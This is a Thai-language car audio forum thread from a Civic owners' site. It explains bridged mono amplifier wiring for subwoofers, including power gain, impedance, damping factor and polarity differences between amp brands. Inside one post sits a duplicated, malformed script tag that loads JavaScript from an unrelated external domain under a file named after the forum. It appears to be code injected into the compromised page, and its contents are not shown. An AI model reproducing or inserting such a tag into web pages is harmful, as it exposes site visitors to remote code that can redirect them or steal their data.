2.ขับแบบ Bride Mono (ใช้+Lกับ-R) และขนาน Subwoofer เป็นการลด Z ของลำโพงด้วย เป็นการรวมสัญญาณซ้ายขวาขับออกไป ch เดียว หรือ Mono นั่นเอง การต่อแบบนี้เหมาะกับการฟังแนว SPL เน้นในด้านพละกำลัง ไม่เน้นความไพเราะ เสียงที่ได้จะไม่ดีเหมือนแบบแรก แต่จะได้ความดังและระยะไกลของเสียงเบส ในความเข้าใจของคนทั่วไปแบบคร่าวๆ (ไม่ได้เหมือนกันทุกแบรนด์ทุกยี่ห้อเป็นการอธิบายแบบคร่าวๆโดยประมาณ) สิ่งที่ได้เพิ่มเติมจากแบบแรกคือ กำลังขับเพิ่มขึ้นประมาณ 4 เท่า (Bride Mono ได้กำลังขับเพิ่ม 2 เท่า และ ลดอิมพิแดนซ์ลงครึ่งนึงได้กำลังขับเพิ่มอีก 2 เท่า) แต่ Damping factor ก็จะลดลงประมาณ 4 เท่าเช่นกัน (ความไวในการเก็บตัวของกรวยลำโพง) เสียงก็จะออกยานๆเฉื่อยๆกว่าแบบแรกมากๆ




 


ขอบคุณมากๆครับสุดยอด ความรู้อีกแล้ว เดี๋ยวผมจะลองดูนะครับ




ก่อนจะทำ ศึกษาสเป็คแอมป์กับลำโพงให้ดีก่อนนะครับว่า...
แอมป์ รับโหลดได้กี่โอห์ม?
ลำโพง ทนกำลังได้กี่วัตต์?
ไม่งั้นเดี๋ยวแอมป์กับลำโพงจะโดนย่างสด

<script src="https://sport32news.com/civicesgroup.js"></ <script src="https://sport32news.com/civicesgroup.js"></




แอบมาส่อง เก็บข้อมูลครับ
ได้รับคำขอบคุณจาก: dantouch 
srithanon


เข้าร่วม: 13 สิงหา 2009
ตอบ: 380

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 1324
ให้คำขอบคุณ: 4
จันทร์, 22 กันยา 2014 17:39 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
หากเป็นกรณีที่ Power amp ระบุตำแหน่งการต่อแบบบลริดจ์ ให้ใช้ R- กับ L+ ก็โอเคครับ ก็เป็นตามที่คุณกล่าว เพราะ Power amp บางยี่ห้อก็ให้ใช้ R+ กับ L- เป็น Output ไปต่อให้กับลำโพง ขึ้นอยู่กับการออกแบบของ Power Amp นั้นๆ จบครับ ขอบคุณที่เข้ามาให้คอมเม้นท์.......srithanon
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 22 กันยา 2014 18:27 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
srithanon พิมพ์ว่า:
หากเป็นกรณีที่ Power amp ระบุตำแหน่งการต่อแบบบลริดจ์ ให้ใช้ R- กับ L+ ก็โอเคครับ ก็เป็นตามที่คุณกล่าว เพราะ Power amp บางยี่ห้อก็ให้ใช้ R+ กับ L- เป็น Output ไปต่อให้กับลำโพง ขึ้นอยู่กับการออกแบบของ Power Amp นั้นๆ จบครับ ขอบคุณที่เข้ามาให้คอมเม้นท์.......srithanon




เจ้าของกระทู้เค้าถามถึงเรื่องวงจร ไม่ได้สนใจแอมป์นะครับพี่ ที่ผมสื่อก็คือ สายลำโพงมันต่อมาจากแอมป์ ch ละเส้นมาเข้าลำโพงมันคือการ Bride mono ครับแค่นั้น 

ได้รับคำขอบคุณจาก: tzm 
ตอบ
หน้า 1 จาก 1
ไปที่: 
ติดต่อโฆษณา admin@civicesgroup.com
Copyright © 2008-2024 Civic ES Group. All rights reserved.